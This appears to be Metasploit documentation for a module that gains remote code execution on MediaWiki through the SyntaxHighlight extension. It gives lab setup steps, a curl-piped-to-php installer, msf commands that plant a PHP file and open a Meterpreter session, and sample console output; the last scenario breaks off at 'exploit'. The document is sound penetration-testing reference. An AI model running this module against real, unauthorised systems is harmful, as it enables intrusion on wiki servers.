## Vulnerable Application

  Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x.
  A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.

## Vulnerable Setup

To set up the vulnerable environment, please do:

  1. Download [MediaWiki (such as 1.28.0)](https://releases.wikimedia.org/mediawiki/1.28/mediawiki-1.28.0.tar.gz)
  2. Install MediaWiki on a LAMP setup (ideally)
  3. Install composer ```curl -sS https://getcomposer.org/installer | sudo php -- --install-dir=/usr/local/bin --filename=composer```
  4. Do: ```cd /var/www/html/mediawiki/extensions/SyntaxHighlight_GeSHi```
  5. Do: ```composer update```
  6. Open your LocalSettings.php with a text editor, and add this line at the end of the file: ```wfLoadExtension( 'SyntaxHighlight_GeSHi' );```

  At this point, you are ready to test this setup. 

## Verification Steps

  1. `use exploit/multi/http/mediawiki_syntaxhighlight`
  2. `set RHOST [ip target site]`
  3. `set TARGETURI [MediaWiki path]`
  4. `set UPLOADPATH [writable path in web root]`
  5. optionally set `RPORT`, `SSL`, and `VHOST`
  6. `exploit`
  7. **Verify** a new Meterpreter session is started
  
## Options

  **TARGETURI**

  The MediaWiki base path, the URL path on which MediaWiki is exposed. This is normally `/mediawiki`, `/wiki`, or `/w`.

  **UPLOADPATH**

  Folder name where MediaWiki stores the uploads, make sure to use a relative path here. For a regular installation this is the `images` folder. This folder needs to be writable by MediaWiki and accessible from the web root. The exploit will try to create a PHP file in this location that will later be called through the web server.

  **CLEANUP**

  Set this to true (the default) to unlink the PHP file created by this exploit module. The cleanup code will only be called when the exploit is successful.

  **USERNAME**

  In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the username of that account here.

  **PASSWORD**

  In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the password of that account here.

## Scenarios

### The Check command

The module comes with a check command that allows you to check whether the target might be
vulnerable or not, for example:

```
msf exploit(mediawiki_syntaxhighlight) > check
[*] 192.168.146.203:80 The target appears to be vulnerable.
```

### MediaWiki 1.27.1-2 on Ubuntu 16.10

```
msf > use exploit/multi/http/mediawiki_syntaxhighlight 
msf exploit(mediawiki_syntaxhighlight) > set RHOST 192.168.146.137
RHOST => 192.168.146.137
msf exploit(mediawiki_syntaxhighlight) > set TARGETURI /mediawiki
TARGETURI => /mediawiki
msf exploit(mediawiki_syntaxhighlight) > exploit
